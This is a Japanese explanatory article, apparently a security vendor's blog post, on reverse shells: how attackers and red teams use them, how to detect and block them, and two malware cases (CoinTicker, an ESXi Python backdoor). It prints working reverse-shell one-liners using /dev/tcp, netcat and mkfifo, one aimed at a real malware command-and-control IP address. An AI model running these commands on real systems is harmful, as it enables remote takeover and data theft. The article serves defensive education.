リバースシェルとは?

SHARE:

リバースシェルとは、あるコンピュータ上で実行されているものの、リクエストを受け付け、その応答を別のコンピュータへ中継するシェルです。つまり、別のコンピュータに代わって遠隔操作を行う役割を果たします。

シェルとは、WindowsターミナルやBashなど、オペレーティングシステムと対話するコンピュータプログラムです。シェルを用いた一般的な操作には、ログイン/ログアウト、プロセス情報の表示、ファイルへのアクセス/削除、リモートシステムへの接続などが含まれます。

リバースシェル攻撃の基本について、引き続き深く掘り下げて参りましょう。具体的には、様々なプラットフォームにおける攻撃の現れ方や展開方法、そしてそれらを検知し防御する方法についてです。

リバースシェルではどのようなことができますか?

リバースシェルが正常に動作する状態になると、攻撃者は対話型端末を通じてコマンドの実行を開始し、様々なリモートサービスを利用して遠隔実行を実現できます。攻撃者の攻撃パターンは、その悪意ある意図と最終的な目標によって異なります。

例えば、攻撃者は自身のコンピュータ上にリスニングアプリケーション(サーバー)を作成し、被害者のコンピュータ上にはすべての応答を攻撃者へ中継するよう指示されたシェルを設置する場合があります。被害者側から見ると、このシェルは指示通りにリモートマシンへ接続しているだけのように見えます。

リバースシェル接続

最も一般的な攻撃手法は、システム内に永続性を確立した後、特権昇格攻撃を試みて管理者権限を取得することです。管理者権限を取得すると、データ窃取を試みたり、システムの可用性を妨害したり、システムの完全性を損なったり、身代金を要求するランサムウェアを注入したりすることが可能となります。

ほとんどのサーバーファイアウォールの設定では、明示的に発信接続をフィルタリングしないため、標的と攻撃者間の接続が成功することが多々あります。これは単純でありながら甚大な被害をもたらす手法であり、多くの悪名高い実世界の攻撃の基盤となっています。

リバースシェルとバックドアの比較

この時点で、リバースシェルとバックドアの違いについて疑問に思われるかもしれません。バックドアソフトウェアはシェルコードの実行を開始したりマルウェアを拡散させたりするために使用できますが、まずそのシステムへのアクセス権を取得する必要があります。一方、リバースシェルは攻撃者にシステムへのアクセス権を与え、その後バックドアをインストールしてデータを転送します。したがって、リバースシェルとバックドアは、コンピュータへの安全なリモートアクセスを可能にする関連ツールと言えます。

バックドアソフトウェアは、攻撃者のマシンへの隠れた経路を確立するよう設計されているため、リバースシェルを開くために使用できます。また、リバースシェルは2台のコンピュータ間でエンドツーエンドの接続を確立する実際のプロセスであるため、バックドアソフトウェアをインストールするために使用できます。

リバースシェルの主な用途

攻撃者

攻撃者は通常、感染したマシンとデータ流出先の端末間のネットワーク通信に、従来のツールを使用しようと試みます。そのようなツールがない場合、目的を達成するために同様の機能を持つ特別に作成されたツールをダウンロードしようとする可能性があります。

Netcat(またはNC)は、ネットワーク間でデータを読み書きするためのコマンドラインインターフェースツールです。Netcatを使用すると、あらゆる種類のTCP/UDP操作を実行できます。

攻撃者が何らかの方法でシステムへのアクセス権を取得した場合、自身の管理下にあるネットワークへ逆シェルを開こうと試みる可能性があります。

例えば、攻撃者はまず自身が所有するマシン上でリスナーを開始します:

$ nc -nvl 80

その後、攻撃者は被害者のUnixベースのシステム上で以下のコマンドを実行し、攻撃者のIPアドレスとポートの両方を渡します:

$ exec 5<>/dev/tcp/<attacker_IP>/80;cat <&5 | while read line; do \$line 2>&5 >&5; doneCode language: HTML, XML (xml)

上記のコマンドは、新しいプロセスを作成せずにシェルコマンドを実行します。攻撃者のIPアドレスとポート番号に対してTCP接続を開き、到着したリクエストを受け付けて処理します(攻撃者はdev/tcpデバイスドライバへの読み書き権限のみを必要とし、Linuxのexecおよびcatコマンドを使用することに留意してください)。成功した場合、攻撃者は文字通りソフトウェアをインストールし、あたかも被害者のマシンにログインしているかのように任意のコマンドを実行できます。

多くの場合、自動化を利用してバックドアをインストールし、永続性を確立します。

このコマンドには複数のバリエーションが存在し、こちらのチートシートでご確認いただけます。典型的なシナリオでは、効果を最大化するためスクリプトがこれらを同時に実行します。攻撃者はいつでも接続を切断できるため、初期アクセスを阻止しない限り運用担当者は対応に頭を悩ませることになります。

レッドチームの活動

レッドチームは通常、攻撃者の視点で思考し、一般的なリバースシェル攻撃を用いて企業システムのセキュリティ確保を試みます。代表的な活用例としてペネトレーションテストが挙げられます。これは攻撃者が使用するツールや手法を用いて実際のセキュリティ侵害を模擬する専門的な手法です。世界中の数千の組織が、コンプライアンスとセキュリティ態勢の確保のために、外部機関やHackerOneのようなバウンティハンタープログラムを通じてペネトレーションテスト技術を採用しています。

レッドチームのツールボックスにあるもう一つのツールがMetasploitフレームワークです。これは主要なペネトレーションテストツールキットであり、事前・事後攻撃ユーティリティを含む多様なオプションを備えています。Metasploitを使用することで、チームは定義された設定に基づいてリバースシェルを作成する特別な実行ファイルを構築できます。

Metasploitはペイロードハンドラーと実行可能ペイロードを生成し、これらを被害者のマシン上で実行することでリバースシェルを確立します。このプロセスについてはMetasploitの公式ドキュメントに詳細が記載されております。

レッドチームにとってMetasploitの利点は、技術的な細部に拘泥することなく高度な技術を習得できる優れた学習・導入ツールである点にあります。

リバースシェルの検知と防御

攻撃者がターゲットマシン上でリバースシェルを作成する可能性のある方法を理解したら、緩和策の実装を開始できます。

一般的なルールとして、システムが多様な脅威に対処できるよう、セキュリティ対策を多層的に追加すべきです(これを多層防御戦略と呼びます)。リバースシェル攻撃は、正確な検知と防止を確実にするため、多くの層で対処する必要があります。

これらのセキュリティ対策を導入しても、リスクを完全に排除することは不可能です(攻撃者はこれらの対策を完全に回避する逆シェル作成手法を多数用いるためです)。この点を踏まえ、逆シェルに対する主要な防御ラインについて検討してまいりましょう。

ファイアウォールとネットワークセキュリティ

まず第一に、各サーバーノードやアプリケーションに特化した最新のファイアウォールルールを常に作成すべきです。安全なノードのリストを除き、すべての受信および送信トラフィックをブロックすることが、最善の第一防衛線となります。

監視と検知

正確かつ精密なランタイムセキュリティ保護を目的とした専用の監視・検知ツール(Falcoなど)をご利用ください。加えて、確立されたセキュリティ監視サービスを用いてネットワーク活動を頻繁に監視し、不審な実行を排除する必要があります。

ホストベースセキュリティとコンテナセキュリティ

逆シェル攻撃の多くは利用可能なスクリプト言語やインストール済みツールを使用できるため、不正な手段によるシステムへのアクセス後もシステムが安全な状態を維持するよう確保する必要があります。使用されていないスクリプト言語やコンパイラツールチェーン、あるいはNetcatやSocatなどの一般的なネットワークツールをアンインストールすることで、攻撃者の活動を困難にすることができます。これにより、攻撃者は一見しただけでは一般的なリバースシェルコマンドを実行できなくなります。

可能であれば、本番環境ではオペレーティングシステム関数への特定の呼び出しやeval文の使用を禁止すべきです。実績のある効果的なセキュリティメカニズムであるAppArmorなどのセキュリティモジュールの使用をご検討ください。

同様に、最小限の権限でコンテナ内にアプリケーションを実行することも有効です。例えば、root として実行するのではなく、必要な最小限の権限を持つユーザーを作成すべきです。サイドカープロセスを含め、RASP(Runtime Application Self-Protection)ソフトウェアを使用することも、異常な実行パターンに対する防御の追加層を提供します。

リバースシェルを用いた実世界のマルウェア

リモート攻撃や悪用においてリバースシェルを活用する手法は数多く存在します。攻撃者がリバースシェルを用いてリモート接続を開始する技術の一部を詳しく検証するとともに、そこから得られる教訓についても考察いたします。

ティッカーアプリ

この事例では、一見正当な仮想通貨アプリ(CoinTicker)が、裏でバックドアをインストールしようとしていました。この攻撃の詳細については、Malwarebytesブログの分析記事で解説されています。

この種の攻撃は、有用な機能(ビットコインの現在の価格表示など)を提供するアプリを公開しながら、密かにホストコンピュータをマルウェア拡散のプラットフォームとして利用するものです。アプリが正当に見えれば、ユーザーがこの罠に陥るのは非常に容易です。例えば、攻撃者が正当なアプリを購入して悪用したり、悪意のある所有者がエクスプロイトを含むアプリを販売し、アプリが一定の支持を得た後に実行したりする可能性があります。ユーザーが最新のウイルス対策ソフトやウェブ保護機能を備えていない場合、このような攻撃の被害に遭う可能性が高くなります。

悪意のあるアプリがインストールされると、リバースシェルを使用してリモートコマンドセンターへの接続を開き、ターゲットマシンを感染インスタンスのプールに登録します:

nohup bash &> /dev/tcp/94.156.189.77/2280 0>&1Code language: JavaScript (javascript)

このような接続は、セキュリティ監視ツールが検知できる特定の接続パターンがない限り、見落とされがちです。ここでの真の教訓は、公式アプリストア以外から提供される怪しい、あるいはリスクのあるアプリケーションをダウンロードする際には、特に警戒すべきであるということです(その品質が不明な場合がほとんどであるため)。

ESXiサーバー向けカスタムPythonバックドア

ESXiは複数の仮想マシン(VM)を実行するための仮想化プラットフォームです。これは「タイプ1」ベアメタルハイパーバイザーであり、ホストのハードウェア上で直接動作してハードウェアを制御します。多くのグローバル企業や組織において、大規模なVMクラスターを管理するために利用されています。

重要なインフラストラクチャであるため、攻撃者にとって深刻な標的となります。攻撃者がESXiの保護機構を回避するコード実行手段を発見した場合、疑いを招くことなくバックドアをインストールし、永続性を確立することが可能となります。

この詳細なインシデント分析で説明されている通り、攻撃者はESXiサーバーを実行するマシンを侵害し、起動時に実行されるPythonスクリプトを注入しました。感染したVM上でスクリプトが実行されると、netcatツールを用いて既知の設定でリバースシェル接続を開きました:

mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc /tmp/tmpy_8th_nbCode language: JavaScript (javascript)

攻撃者はまた、VMwareのリバースプロキシ設定ファイル(/etc/vmware/rhttpproxy/endpoints.conf)を変更し、感染マシンがネットワーク外部からアクセス可能となるよう設定しました。これは実質的にリバース接続を確立するものです。

この事例は、攻撃の複雑さと高度さが被害組織に壊滅的な影響を与え得ることを示しています。攻撃者は迅速に行動し、重要な業務運営の保護を担うセキュリティ専門家の目の前で悪意のあるタスクを実行することが可能です。

このようなケースでは、異常なファイル変更の監視や、既知のホストリストへのネットワーク接続制限が重要です。さらに安全な構成を実現するには、多層的なファイアウォールを導入し、異なるレベルのセキュリティを提供することが有効です。

インターネットで検索すれば、リバースシェル攻撃の類似事例が数多く見つかるでしょう。これらの攻撃の主な特徴は、脅威アクターがシステム内にリバースシェルを確立すると、さらなる被害をもたらす可能性がある点です。そのため、そもそもアクセスを防止することが極めて重要となります。

結論

本記事では、リバースシェル(逆シェル)の基本と、それを利用して遠隔システムに感染させる方法について説明しました。リバースシェルは脆弱なシステムをさらなる悪用に対して開放してしまう可能性があるため、悪意のある者の手に渡ると甚大な被害をもたらす恐れがあります。

適切なセキュリティ対策を実施し、ホストの保護に関するベストプラクティスに従うことで、遠隔からのコード実行やインジェクション、それに伴うリスクを防止することができます。